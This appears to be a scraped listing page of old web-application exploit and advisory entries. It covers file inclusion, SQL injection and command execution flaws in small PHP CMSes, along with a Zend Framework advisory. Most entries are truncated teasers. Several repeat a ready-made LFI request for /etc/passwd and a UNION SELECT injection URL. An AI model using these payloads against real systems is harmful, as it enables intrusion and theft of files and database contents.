simplePMS CMS 0.1.3a Code Execution

!/usr/bin/perl Script : simplePMS CMS v0.1.3a Download: http://garr.dl.sourceforge.net/sourceforge/simplepms/simplePMS-v0-1-3prealpha.tar.bz2 Remote Command Execution Exploit Also affected to multiple LFI vulnerabilities Let's go into the hacking .. osirys$ perl rcex.txt...

IdeaCart 0.02 (LFI/SQL) Multiple Remote Vulnerabilities

No description provided by source. IdeaCart 0.02 LFI/SQL Multiple Remote Vulnerabilities Author: nuclear LFI: http://127.0.0.1/index.php?page=../../../../../../../../../etc/passwd%00 SQL: http://127.0.0.1/secure/index.php?cID=1%20union%20select%201,2,3,4,5,6,@@version,8%23 notes: get ur sql resul...

LFI vector in Zend_View::setScriptPath() and render()

More info at https://framework.zend.com/security/advisory/ZF2009-01...

ideacart 0.02 - Local File Inclusion SQL Injection

ideacart 0.02 - Local File Inclusion SQL Injection IdeaCart 0.02 LFI/SQL Multiple Remote Vulnerabilities Author: nuclear LFI: http://127.0.0.1/index.php?page=../../../../../../../../../etc/passwd%00 SQL: http://127.0.0.1/secure/index.php?cID=1%20union%20select%201,2,3,4,5,6,@@version,8%23 notes:...

IdeaCart 0.02 (LFI/SQL) Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ======================================================= IdeaCart 0.02 LFI/SQL Multiple Remote Vulnerabilities ======================================================= IdeaCart 0.02 LFI/SQL Multiple Remote Vulnerabilities Author: nuclear LFI...

Bloggeruniverse v2Beta (editcomments.php id) SQL Injection Exploit

No description provided by source. !/usr/bin/perl |----------------------------------------------------------------------------------------------------------------------------------| | INFORMATIONS |...

IdeaCart 0.02 LFI / SQL Injection

IdeaCart 0.02 LFI/SQL Multiple Remote Vulnerabilities Author: nuclear LFI: http://127.0.0.1/index.php?page=../../../../../../../../../etc/passwd%00 SQL: http://127.0.0.1/secure/index.php?cID=1%20union%20select%201,2,3,4,5,6,@@version,8%23 notes: get ur sql result at: YOUR ORDER DETAILS 5.0.67 @ b...

ideacart 0.02 - Local File Inclusion / SQL Injection

IdeaCart 0.02 LFI/SQL Multiple Remote Vulnerabilities Author: nuclear LFI: http://127.0.0.1/index.php?page=../../../../../../../../../etc/passwd%00 SQL: http://127.0.0.1/secure/index.php?cID=1%20union%20select%201,2,3,4,5,6,@@version,8%23 notes: get ur sql result at: YOUR ORDER DETAILS 5.0.67 @ b...

Potato News 1.0.0 (user) Local File Inclusion Vulnerability

No description provided by source. 0x01 Informations: Name : Potato News 1.0.0 Download : http://potato-news.googlecode.com/files/potatonews-1.0.0.zip Vulnerability : LFI Author : x0r Contact : [email protected] Notes : Proud to be Italian 0x02 Bug: Bugged file is /path/admin.php Code ?PHP if...

Zend Framework -- Local File Inclusion vulnerability in Zend_View::render()

Matthew Weier O'Phinney reports: A potential Local File Inclusion LFI vulnerability exists in the ZendView::render method. If user input is used to specify the script path, then it is possible to trigger the LFI. Note that Zend Framework applications that never call the ZendView::render method wi...

LFI in Drupal CMS

Author : Rasool Nasr ------------------------------------------- Discovered by : Rasool Nasr ------------------------------------------- Exploited By : Rasool Nasr ------------------------------------------- E-Mail : [email protected] ------------------------------------------- WebSite :...

Hedgedog CMS 1.21 LFI / Command Execution

!/usr/bin/perl |----------------------------------------------------------------------------------------------------------------------------------| | INFORMATIONS | |----------------------------------------------------------------------------------------------------------------------------------|...

Hedgehog-CMS 1.21 (LFI) Remote Command Execution Exploit

No description provided by source. !/usr/bin/perl |----------------------------------------------------------------------------------------------------------------------------------| | INFORMATIONS |...

Potato News 1.0.0 - Local File Inclusion

0x01 Informations: Name : Potato News 1.0.0 Download : http://potato-news.googlecode.com/files/potatonews-1.0.0.zip Vulnerability : LFI Author : x0r Contact : [email protected] Notes : Proud to be Italian 0x02 Bug: Bugged file is /path/admin.php Code "; else echo ""; /code 0x03 Exploit: Exploi...

webframe 0.76 Multiple File Inclusion Vulnerabilities

Exploit for unknown platform in category web applications ===================================================== webframe 0.76 Multiple File Inclusion Vulnerabilities ===================================================== ------------------Rfi/Lfi------------------ script:webframe 0.76...

webframe 0.76 - Multiple File Inclusions

webframe 0.76 - Multiple File Inclusions ------------------Rfi/Lfi------------------ script:webframe 0.76 ------------------------------------------------------------------ download from:http://downloads.sourceforge.net/phpwebframe/webframe-0.76-src.tar.gz?modtime=1155546760&bigmirror=0...

webframe 0.76 - Multiple File Inclusions

------------------Rfi/Lfi------------------ script:webframe 0.76 ------------------------------------------------------------------ download from:http://downloads.sourceforge.net/phpwebframe/webframe-0.76-src.tar.gz?modtime=1155546760&bigmirror=0...

ZeroBoard4 pl8 (07.12.17) Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ========================================================= ZeroBoard4 pl8 07.12.17 Multiple Remote Vulnerabilities ========================================================= / ZeroBoard4 VERSION pl8 07.12.17is most famous and widely used...

SilverNews 2.04 (Auth Bypass/LFI/RCE) Multiple Vulnerabilities

No description provided by source. 0x01 Informations: Name : SilverNews 2.04 Download : http://www.silver-scripts.de/scripts.php?script=SilverNews&l=en Vulnerability : Auth Bypass\LFI\RCE Author : x0r Contact : [email protected] Notes : Proud to be Italian 0x02 Bug: Bugged file is...

ClearBudget 0.6.1 Insecure Cookie Handling / LFI Vulnerabilities

No description provided by source. + ClearBudget v0.6.1 Insecure Cookie Handling / LFI + Discovered By SirGod + www.mortal-team.org + www.h4cky0u.org + www.hellzone.info + www.anti-intruders.org + Dork : ClearBudget v0.6.1 + Homepage : http://clearbudget.douteaud.com/ + Insecure Cookie Handling P...